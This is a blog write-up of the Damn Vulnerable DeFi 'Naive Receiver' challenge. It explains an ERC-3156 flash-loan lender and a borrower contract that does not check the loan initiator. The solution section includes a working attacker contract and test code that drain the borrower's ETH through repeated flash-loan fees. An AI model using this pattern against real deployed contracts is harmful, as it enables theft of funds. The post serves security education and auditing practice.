In this blog post I would walk you through my solution and my thought process for the second Damn Vulnerable DeFi challenge - Naive Receiver.

Goal

In this challenge our objective is to drain all funds from the FlashLoanReceiver smart contract, which holds a balance of 10 ETH, using the NaiveReceiverLenderPool flash loan lending contract.

The lending contract begins with a balance of 1000 ETH and charges a fixed fee of 1 ETH for each flash loan.

Prerequisites

Familiarity with the ERC-3156: Flash Loans standard is assumed for this challenge. If you’re not acquainted with it, I recommend familiarizing yourself with it beforehand.

Rundown

Let’s explore the two contracts in this challenge. We will start with the NaiveReceiverLenderPool.

NaiveReceiverLenderPool

The NaiveReceiverLenderPool serves as a standard implementation of a flash loan lender.

Notably, the contract features the ETH constant, represented by 0xEeeeeEeeeEeEeeEeEeEeeEEEeeeeEeeeeeeeEEeE. This address serves as a placeholder for ETH in token-based protocols. The use of this vanity address in the ERC-3156 lender API allows for seamless integration with flash lenders, accommodating ETH as a non-token asset.

If the requested loan is for ETH then the maxFlashLoan() function returns its ETH balance:

function maxFlashLoan(address token) external view returns (uint256) {
  if (token == ETH) {
    return address(this).balance;
  }
  return 0;
}

The lender charges a fixed fee of 1 ether for each flash loan, except for loans with a token != ETH, which trigger an error called UnsupportedCurrency():

uint256 private constant FIXED_FEE = 1 ether;
// ....
function flashFee(address token, uint256) external pure returns (uint256) {
  if (token != ETH)
    revert UnsupportedCurrency();
  return FIXED_FEE;
}

The lender also features an empty implementation of a receive() function which allows ETH deposits that the lender could then offer as flash loans:

receive() external payable {}

The core function of this contract is flashLoan(). It follows the ERC-3156 specification and has 4 arguments:

  • receiver (type: IERC3156FlashBorrower) - the recipient of the flash loan
  • token (type: address) - the token address for the loan request
  • amount (type: uint256) - the loan amount
  • data (type: bytes calldata) - the lender can provide arbitrary data to the borrower to preserve context during loan reception according to the ERC-3156 standard

Similar to the other functions, flashLoan() verifies if an ETH loan is being requested. If not, the function reverts with UnsupportedCurrency() error:

if (token != ETH)
  revert UnsupportedCurrency();

A snapshot of the lender balance is taken before sending the loan to the borrower. This is used later on to check if the loan along with all accrued fees is returned:

uint256 balanceBefore = address(this).balance;

Next, the loan is sent to the borrower. For the transfer, solady’s SafeTransferLib is used. solady is a popular library which provides gas-optimized Solidity snippets.

// Transfer ETH and handle control to receiver
SafeTransferLib.safeTransferETH(address(receiver), amount);

In case you are curious what exactly SafeTransferLib.safeTransferETH() does under the hood, here is its implementation:

function safeTransferETH(address to, uint256 amount) internal {
  /// @solidity memory-safe-assembly
  assembly {
    // Transfer the ETH and check if it succeeded or not.
    if iszero(call(gas(), to, amount, 0, 0, 0, 0)) {
        // Store the function selector of `ETHTransferFailed()`.
        mstore(0x00, 0xb12d13eb)
		// Revert with (offset, size).
		revert(0x1c, 0x04)
    }
  }
}

The following steps are performed:

  • amount ETH (in wei) is sent to to using call()
  • the result of call() is checked
  • if the result is 0 (unsuccessful transfer):

This gas-optimized helper function ensures secure ETH transfers by eliminating the need to manually check the result of a call() function.

Returning to our flashLoan() implementation, the next step is to invoke the borrower’s onFlashLoan() callback. Following the ERC-3156 specification, it verifies if the callback returns the magic value keccak256("ERC3156FlashBorrower.onFlashLoan"). If not, the function reverts with CallbackFailed() error:

if(receiver.onFlashLoan(
  msg.sender,
  ETH,
  amount,
  FIXED_FEE,
  data
) != CALLBACK_SUCCESS) {
  revert CallbackFailed();
}

At the end of the function, the lender checks whether the loan is paid in full along with all accrued fees. If that is not the case, the function fails with RepayFailed():

if (address(this).balance < balanceBefore + FIXED_FEE)
  revert RepayFailed();

If all above functionalities worked as expected and the contract did not revert with any error, the function returns true as per the ERC-3156 spec.

FlashLoanReceiver

Let’s take a look at the borrower contract that targeted in this challenge.

Similar to the flash loan lender, the borrower contract utilizes the matching vanity address 0xEeeeeEeeeEeEeeEeEeEeeEEEeeeeEeeeeeeeEEeE to request an ETH loan.

The contract constructor takes a single argument which is the address of a flash loan pool:

constructor(address _pool) {
  pool = _pool;
}

In the naive-receiver.challenge.js file we could see that the pool that is passed is the NaiveReceiverLenderPool:

receiver = await FlashLoanReceiverFactory.deploy(pool.address);

This contract also contains an empty receive() function which allows ETH to be deposited to it.

Now let’s take a look at the implementation of the onFlashLoan callback which is the heart of every flash loan receiver. As per ERC-3156, this function takes 5 arguments:

  • initiator (type: address) - the address that initiated the loan.
  • token (type: address) - the address of the flash loan token.
  • amount (type: uint256) - the loaned amount of token.
  • fee (type: uint256) - the accrued fee for the loan, which must be repaid along with the loaned amount (i.e., amount + fee).
  • data (type: bytes calldata) - an arbitrary array of bytes, mentioned earlier, that can contain any contextual data relevant to the flash loan borrower.

The function begins by verifying that msg.sender (or caller() in Yul) is the same as the pool state variable. If they are not equal, the function reverts with InvalidCaller() error. You should already be familiar with this Yul logic pattern:

assembly { // gas savings
  if iszero(eq(sload(pool.slot), caller())) {
    mstore(0x00, 0x48f5c3ed)
    revert(0x1c, 0x04)
  }
}

Next it is verified if the request loan is for ETH:

if (token != ETH)
  revert UnsupportedCurrency();

Then the total amount to be repaid is calculated (amount + fee):

uint256 amountToBeRepaid;
unchecked {
  amountToBeRepaid = amount + fee;
}

We notice the usage of addition in an unchecked block. This is something that should always catch our attention as smart contract auditors due to potential under-/overflow risks.

Next, the empty placeholder function _executeActionDuringFlashLoan() is invoked. In an actual contract, this function would typically include logic to utilize the borrowed funds.

Once _executeActionDuringFlashLoan() is executed, the amountToBeRepaid is transferred back to the flash loan pool:

// Return funds to pool
SafeTransferLib.safeTransferETH(pool, amountToBeRepaid);

As per the ERC-3156 spec, the function returns the magic value of keccak256("ERC3156FlashBorrower.onFlashLoan")

Solution

Let’s pay close attention to FlashLoanReceiver’s onFlashLoan() callback implementation:

function onFlashLoan(
  address,
  address token,
  uint256 amount,
  uint256 fee,
  bytes calldata
) external returns (bytes32) {
  // ...
}

You may have noticed that the initiator and data parameters are not utilized here (as they are unnamed). While data is not particularly relevant in this case, the initiator parameter holds semantic significance in ERC-3156. IERC3156FlashLenders are required to pass their msg.sender value as the initiator argument to IERC3156FlashBorrowers to facilitate loan request verification.

It is considered good practice for an IERC3156FlashBorrower implementation to enforce restrictions on which specific addresses are permitted to request flash loans on their behalf. Failing to implement such checks creates a potential attack vector wherein a malicious contract could initiate a flash loan on behalf of the borrower:

Attack vector

This is precisely how we would deplete all the funds from FlashLoanReceiver in this challenge.

We create a new contract called NaiveAttacker that requests loans from NaiveReceiverLenderPool on behalf of FlashLoanReceiver. For each loan requested, FlashLoanReceiver incurs a fee of 1 ETH. Therefore, if we request 10 loans, all the funds will be depleted:

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

import "@openzeppelin/contracts/interfaces/IERC3156FlashLender.sol";
import "@openzeppelin/contracts/interfaces/IERC3156FlashBorrower.sol";

contract NaiveAttacker {
  
  address public constant ETH =
    0xEeeeeEeeeEeEeeEeEeEeeEEEeeeeEeeeeeeeEEeE;

  function executeAttack(
      IERC3156FlashLender lenderPool,
      IERC3156FlashBorrower victim) external {
    bytes memory emptyCalldata = new bytes(0);
    for (uint256 i = 0; i < 10; i++) {
        lenderPool.flashLoan(victim, ETH, 1, emptyCalldata);
    }
  }
}

To perform the attack, we need to code our solution in naive-receiver.challenge.js as follows:

it('Execution', async function () {
  const NaiveAttackerFactory = await ethers
    .getContractFactory('NaiveAttacker', deployer);
  let naiveAttacker = await NaiveAttackerFactory.deploy();
  naiveAttacker.connect(player)
    .executeAttack(pool.address, receiver.address);
});

In summary, we deploy the NaiveAttacker contract and then invoke its executeAttack() function, providing the addresses of the pool and the receiver as arguments.

To verify our solution, we execute:

$ yarn run naive-receiver

and voilà - the challenge is successfully solved!

Outro

This challenge highlights the significance of IERC3156FlashBorrowers validating the initiator of a flash loan. By doing so, it helps safeguard against malicious actors who could exploit the borrower and deplete its funds through fees.

As usual, your feedback is highly valued and appreciated. Don’t hesitate to contact me on Twitter or Discord.